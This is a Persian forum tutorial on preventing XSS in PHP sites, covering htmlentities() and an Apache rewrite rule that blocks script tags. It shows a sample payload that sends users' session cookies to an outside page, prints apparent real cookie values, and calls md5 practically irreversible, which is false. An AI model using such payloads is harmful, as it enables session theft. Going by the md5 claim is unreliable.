Gytyonline
مديريت كل انجمنها
پست: 899
عضو شده در: 14 شهریور 1384
محل سکونت: tehran
امتياز: 8184
|
عنوان: جلوگیری از حملات XSS |
|
|
سلام
تا به حال در آفتابگردان آموزشهای زیادی در مورد امنیت در کدهای Php توسط من یا حمید جان قرار گرفته است مثل ساخت کد امنیتی در پی.اچ.پی (php) یا همان مبحث ایجاد کپچا (captcha) ، امنیت در تابع include در php و یا یکی از راههای جلوگیری از SQLInjection و ... .
امروز قصد داریم شما را با یکی دیگر از نوع حملات هکرها آشنا کنیم به نام css و یا xss.
اما هک css چیست؟
css مخفف عبارت Cross Site Scripting میباشد که در وحلهی اول با شنیدن نام آن یاد css خودمان یعنی Cascading Style Sheets میافتیم به خاطر همین برای جلویری از این اشتباه علاوه بر css و به ان حملات xss نیز میگویند تا از تشابه اسمی این دو جلوگیری شود.
در حملات xss هکر به سایت صدمهای وارد نمیکند و کاری به کار سایت و دست کاری و خراب کاری در آن ندارد، در واقع قصد هک از این نوع حملات سرقت اطلاعات کاربران و صدمه زدن به آنها میباشد نه خود سایت.
خوب حالا شگرد هکرها در این روش به چه صورتی میباشد؟
در حملات xss هکرها از زبان جاوااسکریپت استفاده مینمایند و هدف آنها به سرقت بردن session ها و کوکیها میباشد.
مثلا فرض کنید همین ادیتور آفتابگردان که من در حال نوشتن این آموزش در آن هستم، اگر نکات امنیتی در آن رعایت نوشد حملات xss میتواند یکی از بزرگترین خطرات باشد.
حتما میپرسید چگونه؟!
خوب بیاید مقداری دقیق تر شویم، حمه ما میدانیم که سایتها برای ورود کاربران خود به سایت یا همان Login کردن از session ها و یا cookie ها استفاده میکنند و cookie ها در سمت کاربران و بر روی کامپیوتر آنها ذخیره میشوند، مثلا در آفتابگردان کوکیهای مختلفی برای هر کاربر روی کامپیوتر آن ذخیره میشود مثلا چند نمونه از آن را در زیر برای شما قرار میدهم:
کد: |
lang : persian
user : MzU0Okd5dHlvbmxpbmU6NWJhYTk2NDQ0MjY0ZDVjZmJjNjQ0N2U3OTc5N2VmOTc6NTo6MDowOjA6MTo6NDA5Ng
_sid : e1888c0103d9e85eba22d3a8f0f61369
|
همان طور که میبینید کوکی اول که lang نام دارد زبان کاربر را که سایت را با آن تنظیم کرده است نگه داری میشود و مقدار persian در آن ذخیره شده است، کوکی بعدی کوکی user میباشد که مقدار آن به صورت کد و هش شده در آن ذخیره شده است، و یا کوکی بعدی _sid میباشد که ممکن است شماره ایدی کاربر را در بر داشته باشد و در خود ذخیره کرده باشد البته باز هم به صورت کد شده، که هکرها بر اساس طول رشته هک شده و بر حسب نوع کلمات و قالب عبارت هش شده الگوریتم و متد هش شده را متوجه خواهند شده، همان طور که میبینید طریقهی هش شدن و الگوریتم کد شدن مقدار ذخیره شده در کوکی user و sid متفاوت میباشد، این را میتوان از تفاوتهای این دو نوع هش که عبارتند از:
1- تغییر در اندازه و تعداد کاراکترهای عبارت هش شده
2- نوع کوچک و بزرگ بودن حروف ( در sid تمامی کاراکترها به صورت کوچک میباشند)
3- رنج تعداد کاراکترها
و ....
متوجه شد. مثلا احتمالا sid به صورت md5() هش شده باشد، چون md5 نیز بعد از هش طول عبارت هش شده حدود 32 کاراکتر میباشد، البته این فقط یک احتمال است و لازم است بدانید که عباراتی که توسط md5 هش شده باشند به هبچ طریقی قابل بازگشت و شکستن نیستند مگر با سعی و خطا که سالها طول خواهد کشید!!
خوب حالا اگر این عبارات به درستی و توسط متد درستی هش نشده باشد و موارد امنیتی در ارسال متن در ادیتور آفتابگردان به کار گرفته نشده باشد کاربر اسم کوکیها را میداند و کد زیر را در ادیتور آفتابگردان وارد میکند:
کد: |
{script} document.write("{ifram src='http://mysite.com?sid=$_COOKIE['_sid']&user=$_COOKIE['user']' }{/ ifram}"){/ script } |
و پست با موفقیت ارسال شده و سپس نمایش داده میشود، خوب حالا به نظر شما چه اتفاقی خواهد افتاد؟!
برای این کار قدم به قدم جلو خواهیم رفت:
خوب پست با موفقیت انجام شدخه و در تاپیک مربوطه قرار خواهد گرفت و چون به صورت جاوااسکریپت میباشد هر بار که صفحه لود شود این کد نیز اجرا خواهد شد!!بدون اینکه حتی کاربر متوجه اجرای آن شود! به این صورت که خواصیت display آن را روی none تنظیم مینماییم.
خوب کار این کد چیست؟
این کد همان طور که مشاهده مینمایید توسط جاوا اسکریپت نوشته شده است که توسط document.write() تگ ifram مورد نظر خود را در صفحه مینویسیم و بقیه کارها به عهدهی iframe میباشد به این صورت که توسط iframe صفحه2ی مورد نظر را اجرا خواهیم کرد صفحهای که توسط خودمان و در گوشهای دیگر از اینترنت قرار دارد و به آن متغییرهایی رو ارسال میکنیم که متغییرهای ما همان session ها و cookie ها میباشندو در سمت صفحهی مورد نظر ما مقدار این متغییرها را دریافت میکنیم و برای خودمان ذخیره میکنیم و یا به ایمیل خودمان میل میکنیم خوب حالا ما توانستیم کوکیها و سشنهای کاربری را که در آفتابگردان صفحهای را که پست ما در آن قرار داشته را اجرا کرده بدست آوریمو حالا فکر بکیند که این اطلاعات به درستی کد نشده باشند بقیه ماجرا را خودتان میتوانید حدس بزنید ...
خوب شاید بپرسید سشنها که روی کامپیوتر کاربران ذخیره نمیشوند آنها را چه طوری میتوان پیدا کرد؟ که اگر مقداری باهوش باشید خواهید توانست و چون قصد ما در این مقاله آموزش جلوگیری میباشد و نه هک از گفتن آن خودداری مینماییم.
این کار حتی با قرار دادن یک لینک در سایت نیز قابل اجرا میباشد مثل قرار دادن همین {iframe} در امضای سایت!
که البته شایان به ذکر است که جلوی تمامی این کارها در آفتابگردان گرفته شده است پس برای تست سایت دیگری را انتخاب نمایید و تلاش بیهوده انجام ندهید
خوب حالا راههای جلوگیری از این حملات چیست؟
برای جلوگیری از این حملات 2 کار باید انجام دهید، در ورودی های خود که از سمت کاربر به سمت سرور فرستاده میشود عملیات پاک سازی را انجام دهید به این صورت که از تابع htmlentities() استفاده نمایید، به این صورت :
کد: |
string htmlentities ( string $string [, int $flags = ENT_COMPAT [, string $charset [, bool $double_encode = true ]]] ) |
که ورودی اول که همون strinng هستش رشته مورد نظر ما هستش که باید ایمن سازی بشه، ورودی بعدی flags هستش که یکی از چهار مقدار زیر رو دربر میگیره :
1- ENT_COMPAT : که فقط دابل کوتیشنها رو به کاراکتر اصلیشون تبدیل میکنه و با سینگل کوتیشن کاری نداره.
2- ENT_QUOTES : هم دابل کوتیشن و هم سینگل کوتیشن رو به کدهاشون تبدیل میکنه.
3- ENT_NOQUOTES : نه سینگل کوتیشن و نه دابل کوتیشن رو کاری نداره و تبدیل به کدشون نمیکنه.
4- ENT_IGNORE : که از php 5.3 به بعد اضافه شده.
charset نیز نوع کاراکتر رو مشخص میکند که میتواند یکی از ISO-8859-1، ISO-8859-15، UTF-8 و ... باشد.
به دین صورت کاراکتر < و > به کدهای خود تبدیل خواهند شد و وقتی شما رشته ای به شکل {script} را از طریق ادیتور و یا ورودی دیگر ارسال مینمایید در صفحه به این شکل به نمایش در خواهند امند: <script> که دیگر خواصیت کد بودن خود را از دست داده اند و قابل اجرا توسط مرورگر نیستند
و راه کار بعدی این میباشد که در فایل htaccess خودتان از این کد استفاده نمایید:
کد: |
RewriteCond %{QUERY_STRING} (\<|%3C).*script.*(\>|%3E) [NC,OR] |
توسط این کد شما به apache خواهید گفت که در تمامی url ها که درخواستی را به سمت سرور ارسال مینمایند اگر تگ {script} وجود داشت آن را خنثی نماید.
به این طریق شما میتوانید جلوی این گونه حملات را که به حملات xss موسوم هستند بگیرید.
امیدوارم این آموزش نیز در کنار آموزشهای قبلی به شما هرچه بیشتر در نوشتن اسکریپتهایی امن کمک نمایید.
نویسنده : امین شفیعی.
موفق باشید; |
|